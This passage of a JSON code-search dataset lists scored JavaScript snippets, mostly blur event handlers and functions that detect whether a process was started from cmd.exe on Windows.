"" }, { "docid": "baa777dcf277fd39936f83176797671e", "score": "0.70409846", "text": "blur() { this._el.blur(); }", "title": "" }, { "docid": "8b4bbc814c2b2593e891dac4cc7789ae", "score": "0.7031138", "text": "blur() {\n this.element.blur();\n }", "title": "" }, { "docid": "8b4bbc814c2b2593e891dac4cc7789ae", "score": "0.7031138", "text": "blur() {\n this.element.blur();\n }", "title": "" }, { "docid": "5c305af2e87c006bea682cf05a67de7e", "score": "0.70250845", "text": "_blur() {\n if (this.addOnBlur) {\n this._emitChipEnd();\n }\n this.focused = false;\n // Blur the chip list if it is not focused\n if (!this._chipList.focused) {\n this._chipList._blur();\n }\n this._chipList.stateChanges.next();\n }", "title": "" }, { "docid": "5b86b59bb6f31b48304637015d330e85", "score": "0.70203495", "text": "didBlur () {\n this.getElement().classList.remove('field--focus')\n }", "title": "" }, { "docid": "d53656662c10cdc3e26622cb50083528", "score": "0.6990681", "text": "@api\n blur() {\n if (this.connected) {\n this.getDatepicker().blur();\n this.getTimepicker().blur();\n }\n }", "title": "" }, { "docid": "5427b4fe2139398a1aa06c63d4b1f07f", "score": "0.6969846", "text": "blur() {\n if (this.currentItem) {\n this.currentItem.blur();\n this.emit('blur', this.currentItem);\n this.emit('focusChanged', null, this.currentItem);\n this.currentItem = null;\n }\n }", "title": "" }, { "docid": "4017e3d1f96f0e74a9b902374e64e6cc", "score": "0.6955143", "text": "blur() {\n this.focusElement.blur();\n this._setFocused(false);\n }", "title": "" }, { "docid": "9e7a35af05f23e11c1e40a3eddbaa2e4", "score": "0.693193", "text": "blur() {\n this._el.blur();\n }", "title": "" }, { "docid": "e4b59a615e6bed4f94b14edd4b8d1d14", "score": "0.6916514", "text": "function onUpdateBlur() {\r\n\tvar o = this.target;\r\n\tvar tgt = o.tgt;\r\n\tif (o.val == 0) {\r\n\t\ttgt.style.filter = \"none\";\r\n\t\ttgt.style.WebkitFilter = \"none\";\r\n\t} else {\r\n\t\ttgt.style.filter = \"blur(\" + o.val + \"px)\";\r\n\t\ttgt.style.WebkitFilter = \"blur(\" + o.val + \"px)\";\r\n\t}\r\n}", "title": "" }, { "docid": "d46705a372b4c228a24a701d92ec525d", "score": "0.69155", "text": "blur() {\n this.refs.input.blur();\n }", "title": "" }, { "docid": "e00e43f651e3e8f88743df5c1ddcd368", "score": "0.69065267", "text": "blur() {\n this.focusElement.blur();\n\n this._setFocused(false);\n }", "title": "" }, { "docid": "bd1f98e678288e2c736213a1b4dafe74", "score": "0.6884593", "text": "blur() {\n this.focusElement.blur();\n this._setFocused(false);\n }", "title": "" }, { "docid": "59fd71de84b3e199d1e225b689bacc7b", "score": "0.6868846", "text": "onBlur() {\n this.hide();\n }", "title": "" }, { "docid": "f0dcd0d594df643b30e228e659b1c6fa", "score": "0.67573655", "text": "_blur() {\n this._focused = false;\n this.cursorNode.toggleCursor(false);\n }", "title": "" }, { "docid": "e2c8023aa216d5229695d9fd312a5dfe", "score": "0.6736556", "text": "blur() {\n this.triggerRef.current.blur();\n }", "title": "" }, { "docid": "1a3fbae5231792dba5e54a0e7c6cdd73", "score": "0.67353904", "text": "onBlur() {\n if (this._blur) {\n this._blur.raise();\n }\n }", "title": "" }, { "docid": "c7fc183cb46570ead37e81d15386aff3", "score": "0.67086804", "text": "function blur () {\n hasFocus = false;\n if (!noBlur) {\n ctrl.hidden = shouldHide();\n }\n }", "title": "" }, { "docid": "c7fc183cb46570ead37e81d15386aff3", "score": "0.67086804", "text": "function blur () {\n hasFocus = false;\n if (!noBlur) {\n ctrl.hidden = shouldHide();\n }\n }", "title": "" }, { "docid": "c7fc183cb46570ead37e81d15386aff3", "score": "0.67086804", "text": "function blur () {\n hasFocus = false;\n if (!noBlur) {\n ctrl.hidden = shouldHide();\n }\n }", "title": "" }, { "docid": "72196d90d10ab8838024367b6a3b47a3", "score": "0.66816944", "text": "function blur () {\n hasFocus = false;\n if (!noBlur) ctrl.hidden = true;\n }", "title": "" }, { "docid": "aba832090e63b814c799b3eac16b9abc", "score": "0.6681197", "text": "onBlur () {\n // Mark the field as 'touched' in redux-form\n input.onBlur(this.selected);\n }", "title": "" }, { "docid": "cc7a72bbdec633a0092dd082430e9171", "score": "0.6677979", "text": "_onBlur() {\n this._focused = false;\n if (!this.disabled && !this.panelOpen) {\n this._onTouched();\n this._changeDetectorRef.markForCheck();\n this.stateChanges.next();\n }\n }", "title": "" }, { "docid": "cc7a72bbdec633a0092dd082430e9171", "score": "0.6677979", "text": "_onBlur() {\n this._focused = false;\n if (!this.disabled && !this.panelOpen) {\n this._onTouched();\n this._changeDetectorRef.markForCheck();\n this.stateChanges.next();\n }\n }", "title": "" }, { "docid": "4efcaae8db9c6c311d49cd400477e7b3", "score": "0.66551465", "text": "onBlur() {\n this._focused = false;\n if (!this.disabled && !this.panelOpen) {\n this.onTouched();\n this._changeDetectorRef.markForCheck();\n this.stateChanges.next();\n }\n }", "title": "" }, { "docid": "933f04ed438cf9829f986c1099bc1a70", "score": "0.66322184", "text": "function blur () {\n\t hasFocus = false;\n\t if (!noBlur) {\n\t ctrl.hidden = shouldHide();\n\t }\n\t }", "title": "" }, { "docid": "fc073c7db8e308e423f76a30f47f569e", "score": "0.660656", "text": "blur(){\n this.each((e)=>{\n e.blur()\n })\n return this\n }", "title": "" }, { "docid": "a37e506af054f012c6050f2232101dfb", "score": "0.657608", "text": "blur() {\n this.avatarButtonRef.current.blur();\n }", "title": "" }, { "docid": "a3e43069ace3ff25e0c5c104e7151a88", "score": "0.6557994", "text": "function blurHandler(){\n\n isWindowFocused = false;\n\n controlPressed = false;\n\n }", "title": "" }, { "docid": "f6c7042613e10f7d4bdfed74a2f74b80", "score": "0.6538803", "text": "function blurHandler(){\n isWindowFocused = false;\n controlPressed = false;\n }", "title": "" }, { "docid": "f6c7042613e10f7d4bdfed74a2f74b80", "score": "0.6538803", "text": "function blurHandler(){\n isWindowFocused = false;\n controlPressed = false;\n }", "title": "" }, { "docid": "f6c7042613e10f7d4bdfed74a2f74b80", "score": "0.6538803", "text": "function blurHandler(){\n isWindowFocused = false;\n controlPressed = false;\n }", "title": "" }, { "docid": "f6c7042613e10f7d4bdfed74a2f74b80", "score": "0.6538803", "text": "function blurHandler(){\n isWindowFocused = false;\n controlPressed = false;\n }", "title": "" }, { "docid": "f6c7042613e10f7d4bdfed74a2f74b80", "score": "0.6538803", "text": "function blurHandler(){\n isWindowFocused = false;\n controlPressed = false;\n }", "title": "" }, { "docid": "a8dba5fc7726f0ff45b3eb26eff29b51", "score": "0.65371907", "text": "function blur() {\n searchBox.blur();\n }", "title": "" }, { "docid": "1db61b0796a029edcc4ad6909230e1ac", "score": "0.65222454", "text": "onBlur() { }", "title": "" }, { "docid": "22934000e9fc7f8e3dc58f374b7a6532", "score": "0.65214294", "text": "function blurHandler(){\r\n isWindowFocused = false;\r\n controlPressed = false;\r\n }", "title": "" }, { "docid": "22934000e9fc7f8e3dc58f374b7a6532", "score": "0.65214294", "text": "function blurHandler(){\r\n isWindowFocused = false;\r\n controlPressed = false;\r\n }", "title": "" }, { "docid": "ce91134dbd8924d306898f083a74f18f", "score": "0.65199924", "text": "_onBlur() {\n // Reformat the input only if we have a valid value.\n if (this.value) {\n this._formatValue(this.value);\n }\n this._onTouched();\n }", "title": "" }, { "docid": "ce91134dbd8924d306898f083a74f18f", "score": "0.65199924", "text": "_onBlur() {\n // Reformat the input only if we have a valid value.\n if (this.value) {\n this._formatValue(this.value);\n }\n this._onTouched();\n }", "title": "" }, { "docid": "0c52d0c0a567ee78cf3b176331547778", "score": "0.65163183", "text": "blur() { }", "title": "" }, { "docid": "0c52d0c0a567ee78cf3b176331547778", "score": "0.65163183", "text": "blur() { }", "title": "" }, { "docid": "0c52d0c0a567ee78cf3b176331547778", "score": "0.65163183", "text": "blur() { }", "title": "" }, { "docid": "ae3518b14caa0288106b79937285590e", "score": "0.65157425", "text": "blur() {\r\n this.focused = false;\r\n // prevent infinite loop\r\n if (document.activeElement == this._dn) this._dn.blur();\r\n\r\n this.onBlur();\r\n }", "title": "" }, { "docid": "60ca96cc3d7d17131eb4ab50882a9055", "score": "0.65009826", "text": "function onInputBlur() {\n if (editableFieldObj.itemId !== null) {\n onUpdateItem(editableFieldObj.itemId, editableFieldObj.fieldName, editableFieldObj.fieldValue);\n setEditableFieldObj({itemId:null, fieldName:null, fieldValue:null});\n }\n }", "title": "" }, { "docid": "3af5d4b41223190f846c8fd20ce0a435", "score": "0.6461714", "text": "handleBlur() {\n this.dispatchEvent(new CustomEvent('blur'));\n }", "title": "" }, { "docid": "c9a18118e702892e8f6974d181c1c988", "score": "0.6453414", "text": "_blur() {\n if (!this._hasFocusedChip()) {\n this._keyManager.setActiveItem(-1);\n }\n if (!this.disabled) {\n if (this._chipInput) {\n // If there's a chip input, we should check whether the focus moved to chip input.\n // If the focus is not moved to chip input, mark the field as touched. If the focus moved\n // to chip input, do nothing.\n // Timeout is needed to wait for the focus() event trigger on chip input.\n setTimeout(() => {\n if (!this.focused) {\n this._markAsTouched();\n }\n });\n }\n else {\n // If there's no chip input, then mark the field as touched.\n this._markAsTouched();\n }\n }\n }", "title": "" }, { "docid": "2f05175ea286f010d7c85a1c5deffc7a", "score": "0.64529806", "text": "onBlur() {\n\t\tif (this.props.onBlur) this.props.onBlur();\n\t}", "title": "" }, { "docid": "a42721b812851178898739b2802b124d", "score": "0.6425168", "text": "onBlur($event) {\r\n this.editing = false;\r\n }", "title": "" }, { "docid": "958c608c6faa7c32a5cd6a7ea9e04ad6", "score": "0.6421176", "text": "handleButtonBlur() {\n this.state.isClicked = false;\n\n this.dispatchEvent(new CustomEvent('blur'));\n }", "title": "" }, { "docid": "7d96b945c4dc399ebd267efeb6550ea2", "score": "0.64014053", "text": "handleBlur() {\n this.showCriteria = false;\n this.isOptional ? this.isValid = true : this.isValid = this.isRequiredProvided(this.value);\n }", "title": "" }, { "docid": "a5cfaac41b219b208e6f0ead633e8fee", "score": "0.6395673", "text": "_inputBlur() {\n if (this.$$('#enterAmountInput')) {\n this.$$('#enterAmountInput').blur();\n }\n }", "title": "" }, { "docid": "894dc6a408ac7353dee470d29c45b591", "score": "0.6389776", "text": "blur() {\n\t\tif (this.hovered) {\n\t\t\tthis.hovered = false;\n\t\t\tthis.needsRedraw = true;\n\t\t}\n\t}", "title": "" }, { "docid": "d0658e350c8f99a5910b0527a955417c", "score": "0.63879764", "text": "onActiveChange(value) {\n if (!value) {\n this.onBlur();\n }\n }", "title": "" }, { "docid": "8a9ce2263d11a227adf73558f99285c5", "score": "0.63807404", "text": "function valorBlur() {\n // console.log(\"es blur\");\n $inputValorAvaluo.value = formatoMoneda($inputValorAvaluo);\n}", "title": "" }, { "docid": "834c8cb7544696b3d168a28a307d35b1", "score": "0.6377917", "text": "handleBlur() {\n const newState = { showError: true };\n\n if (this.state.siblingChanged) {\n this.validate(this.props.value);\n newState.siblingChanged = false;\n }\n\n this.setState(newState);\n }", "title": "" }, { "docid": "0feca2bf9a3b24593f839cc80820a7cb", "score": "0.63658774", "text": "processBlur() {\n // it's possible that a blur event could fire when there's no active element,\n // in the case where attachInput was called on an input that already had\n // the focus\n if (this.activeElement_) {\n this.removeEventHandlers_();\n this.activeElement_ = null;\n \n if (this.timer_) {\n this.timer_.stop();\n this.eh_.unlisten(this.timer_, Timer.TICK, this.onTick_);\n }\n \n if (this.ac_) {\n // Pause dismissal slightly to take into account any other events that\n // might fire on the renderer (e.g. a click will lose the focus).\n this.ac_.dismissOnDelay();\n }\n }\n }", "title": "" }, { "docid": "c7fcb2b92b241c9450512f23abf32639", "score": "0.63577104", "text": "_handleBlur( index ){\n this.props.onRevertInputFocus();\n this.setState({\n focused: false,\n editing: false,\n });\n }", "title": "" }, { "docid": "ff0d1545df967933095bd5efd5e42324", "score": "0.6354777", "text": "onBlur() {\n this.props.onBlur();\n }", "title": "" }, { "docid": "8b680d335d0f1da7b7f56dd9bb908362", "score": "0.63431287", "text": "function blurElement(e) {\n e.currentTarget.blur();\n }", "title": "" }, { "docid": "b6b49cf2eb30d7f7f11492d17f90f9f6", "score": "0.6331486", "text": "function onBlur(el) {\n\tif (el.value == '') {\n\t\tel.value = el.defaultValue;\n\t\t$(el).removeClass('focusin');\n\t}\n}", "title": "" }, { "docid": "b50cd8200451b550b9945d0c1fea6bd3", "score": "0.63268614", "text": "@api\n blur() {\n if (this.phoneAnchor) {\n this.phoneAnchor.blur();\n }\n }", "title": "" }, { "docid": "359a7833a729762e5759af368a194d32", "score": "0.6321741", "text": "blur() {\n UIManager.blur(findNodeHandle(this));\n }", "title": "" }, { "docid": "344206bf8bd7af1eb14b71f6246a44cf", "score": "0.6216969", "text": "function unfocusInput() {\n ctrl.inputFocused = false;\n\n // If 'data revert' option is enabled - set or revert outer model value\n setOrRevertInputValue();\n }", "title": "" }, { "docid": "072522c19164afd0f96b0d77187e1f72", "score": "0.62033945", "text": "function onFocus(event) {\n this._lastValue = this.value;\n }", "title": "" }, { "docid": "5e5c1b1a81a5f048c006db0abc188e60", "score": "0.6187685", "text": "@api\n blur() {\n if (this.quill) {\n this.quill.root.blur();\n }\n }", "title": "" }, { "docid": "ddf5d5ff1a203d083d998455119f1ab5", "score": "0.6181958", "text": "onBlur() {\n this.setState({ isFocused: false });\n if (this.props.onBlur) {\n this.props.onBlur();\n }\n }", "title": "" }, { "docid": "911a478df1659c8a8203f3c95c9f9e8e", "score": "0.616887", "text": "blur() {\n if (deviceLookup) {\n deviceLookup = {};\n }\n isCancelled = true;\n }", "title": "" }, { "docid": "5ed8594668a30db1265682003d22c00d", "score": "0.6168565", "text": "function handleBlur() {\n\t\tprops.amountProducts(props.id, count)\n\t\tsetIsError(false)\n\t}", "title": "" }, { "docid": "34db1cb92b892ce03faa638edc256eff", "score": "0.61588025", "text": "handleBlur (event) {\n this.setState({ focus: false }, () => {\n super.handleBlur(event)\n })\n }", "title": "" }, { "docid": "eaecc06a44f3ee6b236adfc0ac5a14a4", "score": "0.6158477", "text": "function blurHandler(event) {\n let match = matchInput(event.target.value, this.mask);\n\n if (match && this.onMatch) this.onMatch(event.target.value);\n if (!match && this.onFail) this.onFail();\n if (!match && this.clearOnFail !== false) event.target.value = '';\n }", "title": "" }, { "docid": "21d72e6a447e766064dcc9d28da6cd4b", "score": "0.61535263", "text": "elementBlur() {\n this.removeEditCssClasses(this.curElement);\n this.top = this.setCellsFromElement(this.curElement, 0);\n this.updateCurrentDone(this.callbackObject());\n this.editMode = false;\n this.setCellsFromTopValue(this.top);\n this.dispatchCellClick(this.index)\n }", "title": "" }, { "docid": "1ff44c69efc729bb537bde86c7093887", "score": "0.6149501", "text": "handleBlur() {\n this.setState({\n suggestionStrings: []\n });\n document.removeEventListener('mousedown', this.handleOutsideClick);\n }", "title": "" }, { "docid": "ddb08e4ffdd4938019463b1e00925913", "score": "0.61452997", "text": "clearValue() {\n this.input.value = '';\n this.props.onUpdate('');\n }", "title": "" }, { "docid": "286d1abbdb9fe313e3290feb692407c9", "score": "0.6114672", "text": "__onFormReset() {\n this.value = '';\n }", "title": "" }, { "docid": "e77f08ce9ab5bf09b8a20fee94bff782", "score": "0.609723", "text": "onBlur(e){\n //parent class handler uses props.onFocusChange to propagate\n //{name, focus:false}\n super.onBlur(e);\n }", "title": "" }, { "docid": "373f22914bfea6ba56dd66cb7a186827", "score": "0.60915947", "text": "function unbindBlurHandler() {\n if(typeof blurHandler === \"function\") {\n elm.unbind('blur', blurHandler);\n }\n }", "title": "" }, { "docid": "424c1066fefb4ae2b9228636b3859089", "score": "0.60725874", "text": "actionBlur() {\n\t\tthis.registerAction(ActionTypes.BLUR)\n\t\tstate.focused = false\n\t}", "title": "" }, { "docid": "72170caf88a2ace3f6eb0af822d38c8a", "score": "0.60700625", "text": "blur() {\n if (!this.hasFocusedTag()) {\n this.keyManager.setActiveItem(-1);\n }\n if (!this.disabled) {\n if (this.tagInput) {\n // If there's a tag input, we should check whether the focus moved to tag input.\n // If the focus is not moved to tag input, mark the field as touched. If the focus moved\n // to tag input, do nothing.\n // Timeout is needed to wait for the focus() event trigger on tag input.\n setTimeout(() => {\n if (!this.focused) {\n this.markAsTouched();\n }\n });\n }\n else {\n // If there's no tag input, then mark the field as touched.\n this.markAsTouched();\n }\n }\n }", "title": "" }, { "docid": "445214840895b32e0e8e15102f17bf04", "score": "0.6068615", "text": "blur(suppressEvent = false) {\n if (this._focused) {\n this.layoutManager.setFocusedComponentItem(undefined, suppressEvent);\n }\n }", "title": "" }, { "docid": "19a76af05e787fa47bf4876a342bf893", "score": "0.6068094", "text": "function inputBlurred(){if(props.typeable&&Number.isNaN(Date.parse(inputRef.value.value))){clearDate();inputRef.value.value=null;typedDate.value='';}emit('close-calendar',true);}", "title": "" }, { "docid": "4df33ec965acced6977eae077f10e2fd", "score": "0.60562646", "text": "_onInputBlur() {\n this.validate();\n }", "title": "" }, { "docid": "b69670fe0b1a09d4457ff5a6b0472d55", "score": "0.60444087", "text": "function blur($event){hasFocus=false;if(!noBlur){ctrl.hidden=shouldHide();evalAttr('ngBlur',{$event:$event});}}", "title": "" }, { "docid": "081eecf331f69cff349719769ab1174a", "score": "0.6039227", "text": "handleBlur(event) {\n event.preventDefault();\n var upload = [...Array(this.state.upload.length)].map((x,i) => this.refs[i].value);\n this.props.getState(this.props.fieldTitle, upload);\n this.setState ({\n upload: upload,\n });\n }", "title": "" }, { "docid": "1f37d9f7067211d3d15853081b42e1dd", "score": "0.6030174", "text": "function _inputRefreshEmptyOnBlur() {\n var $elm = $(this);\n $elm.toggleClass('fr-not-empty', $elm.val() !== '');\n }", "title": "" }, { "docid": "5df0de50767a51060befa28e6fb13ecf", "score": "0.6011286", "text": "function onFocus(event) {\n if (this.mask.changeFunction != null) {\n this._lastValue = this.value;\n }\n }", "title": "" }, { "docid": "771f26ee6a53cc34ca9efb474eb7c02d", "score": "0.60074383", "text": "onClearClick() {\r\n const oldValue = this.value;\r\n this.value = '';\r\n this.ketchupTextInputUpdated.emit({\r\n value: this.value,\r\n oldValue: oldValue,\r\n info: {\r\n obj: this.obj,\r\n },\r\n });\r\n setTimeout(() => this.triggerFocus(), 10);\r\n }", "title": "" } ]
9660335089a5b350348c5ec7b27ef9af
Determine if launched from cmd.exe
[ { "docid": "45de84a0263bddc3bf8acb645feef528", "score": "0.81444144", "text": "function launchedFromCmd () {\n return process.platform === 'win32' &&\n process.env._ === undefined\n}", "title": "" } ]
[ { "docid": "7949a1316d459d36308cecf9512b7e5b", "score": "0.81873274", "text": "function launchedFromCmd() {\n return process.platform === 'win32' &&\n process.env._ === undefined;\n}", "title": "" }, { "docid": "48b9a1d3e620f14a43d36245a3412ade", "score": "0.818372", "text": "function launchedFromCmd() {\n return process.platform === 'win32'\n && process.env._ === undefined;\n}", "title": "" }, { "docid": "8b553dca4c779e5ce21f3c21f1068173", "score": "0.8179666", "text": "function launchedFromCmd() {\n return process.platform === 'win32' && process.env._ === undefined;\n}", "title": "" }, { "docid": "9b55d0151b5c790fc9264a0b6d37710f", "score": "0.8151148", "text": "function launchedFromCmd() {\n return process.platform === 'win32' &&\n process.env._ === undefined\n}", "title": "" }, { "docid": "e380f02c86f86234aefdd328d2402739", "score": "0.8129", "text": "function launchedFromCmd () {\n return process.platform === 'win32' &&\n process.env._ === undefined\n}", "title": "" }, { "docid": "e380f02c86f86234aefdd328d2402739", "score": "0.8129", "text": "function launchedFromCmd () {\n return process.platform === 'win32' &&\n process.env._ === undefined\n}", "title": "" }, { "docid": "846832954ec52df0216ce3cd03a7ec0c", "score": "0.80118066", "text": "function launchedFromCmd() {\n\r return process.platform === 'win32' && process.env._ === undefined\n\r}", "title": "" }, { "docid": "2742161d17552f1cc16e31a78d1fa572", "score": "0.6922377", "text": "function getCmdPath() {\n var _a;\n return (_a = process.env['COMSPEC']) !== null && _a !== void 0 ? _a : `cmd.exe`;\n}", "title": "" }, { "docid": "2742161d17552f1cc16e31a78d1fa572", "score": "0.6922377", "text": "function getCmdPath() {\n var _a;\n return (_a = process.env['COMSPEC']) !== null && _a !== void 0 ? _a : `cmd.exe`;\n}", "title": "" }, { "docid": "02b9e06775f2e69d2fd0a22175587784", "score": "0.6232431", "text": "function com()\n{\n\tfor (var i = 0; i < arguments.length; ++i)\n\t\tif (arguments[i] == commandstring)\n\t\t{\n\t\t\tunknown = false;\n\t\t\treturn true;\n\t\t}\n\treturn false;\n}", "title": "" }, { "docid": "211754fbae94d7061d19955228c40694", "score": "0.61802757", "text": "function sh_if(cmd) {\n try {\n execSyncNoCmdTrace(cmd, { \"stdio\": \"pipe\" });\n }\n catch (_a) {\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "2dc6742e81cf7592ecc95009c473dcd2", "score": "0.60889244", "text": "async function getWindowsChomeCommand()\n{\n\tconst commands= [ 'C:/Program Files (x86)/Google/Chrome/Application/chrome.exe', 'C:/Program Files/Google/Chrome/Application/chrome.exe', ];\n\t\n\tfor( let command of commands )\n\t{\n\t\tif( (await file_exists( command )) )\n\t\t\treturn command;\n\t}\n\t\n\treturn null;\n}", "title": "" }, { "docid": "75bf89a92a14c8480e502152f76cea52", "score": "0.5909614", "text": "async function getLinuxChomeCommand()\n{\n\tconst checkChrome= Deno.run( { args:[ 'which', 'google-chrome', ], stdin:'null', stdout:'null', stderr:'null', }, );\n\t\n\treturn (await checkChrome.status()).success? 'google-chrome': null;\n}", "title": "" }, { "docid": "4f8ee1eb6597baf1ec82eb5676e793d8", "score": "0.5727976", "text": "function isCommand(string) {\n\tif (string === \"/help\")\n\t\treturn true;\n\treturn false;\n}", "title": "" }, { "docid": "9c9949882826a2c15e9bc46574bb7c48", "score": "0.57064694", "text": "function platformBrowseCmd() {\n // See https://nodejs.org/api/process.html#process_process_platform\n switch (process.platform) {\n case 'darwin':\n return BROWSE_CMD.OSX;\n case 'win32':\n return BROWSE_CMD.WINDOWS;\n case 'aix':\n case 'freebsd':\n case 'linux':\n case 'openbsd':\n case 'sunos':\n return BROWSE_CMD.LINUX;\n default:\n return null;\n }\n}", "title": "" }, { "docid": "41c0cc8da58fe4f81a69030090c85ab8", "score": "0.56863105", "text": "function needsTTY(arg) {\n for (var cmd in _need_tty)\n if (arg.indexOf(cmd) !== -1)\n return true;\n return false;\n}", "title": "" }, { "docid": "90a982dc56a814b9556e8deb597646a0", "score": "0.5676172", "text": "async function getChromeCommand()\n{\n\tif( Deno.build.os !== 'win' && Deno.build.os !== 'windows' )\n\t\treturn getLinuxChomeCommand();\n\telse\n\t\treturn getWindowsChomeCommand();\n}", "title": "" }, { "docid": "9fbd22b5b94f6b223f2051610d2fe7f4", "score": "0.5669192", "text": "async _checkCommand(command, args) {\n try {\n let process = new ProcessSpawner(command, args)\n let data = await process.execute()\n if (data.length > 0) {\n return true\n }\n } catch (ex) {\n return false\n }\n }", "title": "" }, { "docid": "3670cb78f2a393fa2da88ecc982696c1", "score": "0.563962", "text": "_isWindows() { return os.type() === 'Windows_NT'; }", "title": "" }, { "docid": "ef71544484c1fa1d6d70ce68b48a514f", "score": "0.5607992", "text": "canRunCommand() {\n if (this._connectionMgr === undefined) {\n Utils.showErrorMsg(LocalizedConstants.extensionNotInitializedError);\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "3c2cad7457c68f627af685e6ea5bcc63", "score": "0.5602823", "text": "function getprompt() {\n return (process.platform === 'win32' &&\n process.env._ === undefined) ? '>' : '$'; \n}", "title": "" }, { "docid": "12d56f3a025e02af60f8eaf07dd1fc1b", "score": "0.55965596", "text": "function isWindows() {\n return process.platform === \"win32\";\n}", "title": "" }, { "docid": "d2bbf73aa5733aa3cb7fb5d3bff3e123", "score": "0.55561566", "text": "function which(cmd) {\n var st = new java.util.StringTokenizer(env.PATH, File.pathSeparator);\n while (st.hasMoreTokens()) {\n var file = new File(st.nextToken(), cmd);\n if (file.exists()) {\n println(file.getAbsolutePath());\n return;\n }\n }\n}", "title": "" }, { "docid": "b2d549cb7a38ee234c4b95bb0cb55233", "score": "0.5547065", "text": "function isWindows() {\n return /^win/.test(process.platform);\n}", "title": "" }, { "docid": "2ce243ed6445f3fca45fef853a9b1d0f", "score": "0.55320966", "text": "function getCommand() {\r\n\tvar text = commandLine.value;\r\n\t\r\n\tvar words = text.match(/\\S+/g) || [];\r\n\t\r\n\tcommandLine.value = '';\r\n\tout('\\n' + '> ' + text);\r\n\t\r\n word1 = (words.length > 0) ? words[0] : '';\r\n word2 = (words.length > 1) ? words[1] : '';\r\n\r\n\tWD1 = (word1 == '') ? 0 : word1.substr(0,5).toUpperCase();\r\n\tWD2 = (word2 == '') ? 0 : word2.substr(0,5).toUpperCase();\r\n\t\r\n\tVERB = (WD1 == 0) ? -1 : VOCAB(WD1,-1);\r\n\tgCommand = VERB % 1000;\r\n\tgCommType = int(VERB / 1000); // make integer\r\n\tOBJ = (WD2 == 0) ? -1 : VOCAB(WD2,-1) % 1000; // not sure if %1000\r\n\r\n\t//Give focus to commandLine if not a touch device.\r\n\tif (!isTouch) commandLine.focus();\r\n\t\r\n\treturn (VERB != -1);\r\n}", "title": "" }, { "docid": "26bbde8aa9813dc3fe96d89728698129", "score": "0.5461124", "text": "function isOnWindows () {\n return /^win/.test(process.platform)\n}", "title": "" }, { "docid": "6f2693b07a88c7efc39ef9b5e1c9faf5", "score": "0.54357016", "text": "function checkCommand() {\n\n\tif (command === \"my-tweets\") {\n\t\tgetTweets();\n\t} else if (command === \"spotify-this-song\") {\n\t\tconcatArgs();\n\t} else if (command === \"movie-this\") {\n\t\tconcatArgs();\n\t} else if (command === \"do-what-it-says\") {\n\t\tdoIt();\n\t}\n}", "title": "" }, { "docid": "f9396274d3566c28bf8f7ca20578d04e", "score": "0.5435153", "text": "function checkIsMinGW() {\n const isWindows = /^win/.test(process.platform);\n if (!isWindows) {\n return false;\n }\n // uname might not exist if using cmd or powershell,\n // which would throw an exception\n try {\n const uname = child_process_1.execSync('uname -s').toString();\n return !!/^mingw/i.test(uname);\n }\n catch (error) {\n return false;\n }\n}", "title": "" }, { "docid": "b38291a5385df29ec07600d786a8b5b1", "score": "0.543018", "text": "_isWindows() {\n const sys = os.platform();\n if (sys && sys.length >= 3) {\n if (sys.substring(0, 3).toLowerCase() === 'win') {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "b38291a5385df29ec07600d786a8b5b1", "score": "0.543018", "text": "_isWindows() {\n const sys = os.platform();\n if (sys && sys.length >= 3) {\n if (sys.substring(0, 3).toLowerCase() === 'win') {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "eaeac0a5cee33087d226da994267e4e8", "score": "0.5413169", "text": "function isBrowser() {\n return !(process && process.hasOwnProperty('stdin'));\n}", "title": "" }, { "docid": "bacb480ceb49f8481cba523764aca055", "score": "0.53739667", "text": "function generalCommand(cmd) {\n var prog = getProgram(cmd);\n if (prog == \"clear\" || prog == \"ls\" || prog == \"cd\" || prog == \"echo\" || prog == \"pwd\") {\n processCommand(cmd);\n return RES.Success;\n }\n return RES.Fail;\n}", "title": "" }, { "docid": "48f3fdb53ae24eefe5929ee991fa2d1d", "score": "0.5369371", "text": "function isValidCommand( cmd )\n\t{\n\t\treturn ( $.inArray( cmd, valid_cmds ) > -1 );\n\t}", "title": "" }, { "docid": "551febee67a2d3e1f6b1e4e65726e5bf", "score": "0.5312659", "text": "isWindows() {\n return this.platform === \"win32\";\n }", "title": "" }, { "docid": "825fe7aee6de079ee953cd7f95660ccd", "score": "0.5245729", "text": "get promptCommand() {\n return this.toggledCommand && !this.toggled\n ? this.toggledCommand\n : this.command;\n }", "title": "" }, { "docid": "e14e13f0e1c92d075bbe48c5ffee6815", "score": "0.5237801", "text": "function Commander(cmd) {\n var command =\n (getOsType().indexOf('WIN') !== -1 && cmd.indexOf('.exe') === -1) ?\n cmd + '.exe' : cmd;\n var _file = null;\n\n // paths can be string or array, we'll eventually store one workable\n // path as _path.\n this.initPath = function(paths) {\n if (typeof paths === 'string') {\n var file = getFile(paths, command);\n _file = (file.exists() && file.isExecutable()) ? file : null;\n } else if (typeof paths === 'object' && paths.length) {\n for (var p in paths) {\n try {\n var result = getFile(paths[p], command);\n if (result && result.exists()) {\n _file = result;\n break;\n }\n } catch (e) {\n // Windows may throw error if we parse invalid folder name,\n // so we need to catch the error and continue seaching other\n // path.\n continue;\n }\n }\n }\n if (!_file) {\n throw new Error('it does not support ' + command + ' command');\n }\n };\n\n this.run = function(args, callback) {\n var process = Cc['@mozilla.org/process/util;1']\n .createInstance(Ci.nsIProcess);\n try {\n log('cmd', command + ' ' + args.join(' '));\n process.init(_file);\n process.run(true, args, args.length);\n } catch (e) {\n throw new Error('having trouble when execute ' + command +\n ' ' + args.join(' '));\n }\n callback && callback();\n };\n\n /**\n * This function use subprocess module to run command. We can capture stdout\n * throught it.\n *\n * @param {Array} args Arrays of command. ex: ['adb', 'b2g-ps'].\n * @param {Object} options Callback for stdin, stdout, stderr and done.\n *\n * XXXX: Since method \"runWithSubprocess\" cannot be executed in Promise yet,\n * we need to keep original method \"run\" for push-to-device.js (nodejs\n * support). We'll file another bug for migration things.\n */\n this.runWithSubprocess = function(args, options) {\n log('cmd', _file.path + ' ' + args.join(' '));\n var p = subprocess.call({\n command: _file,\n arguments: args,\n stdin: (options && options.stdin) || function(){},\n stdout: (options && options.stdout) || function(){},\n stderr: (options && options.stderr) || function(){},\n done: (options && options.done) || function(){},\n });\n p.wait();\n };\n}", "title": "" }, { "docid": "7e3de9d85e0ba86a7676cb5a925c3216", "score": "0.5220511", "text": "get commandPath(){\n\t\tif (/windows/i.test($server.osName)){\n\t\t\treturn new Myna.File(\"/WEB-INF/myna/commandline/myna.cmd\").javaFile.toString(); \t\n\t\t} else {\n\t\t\treturn new 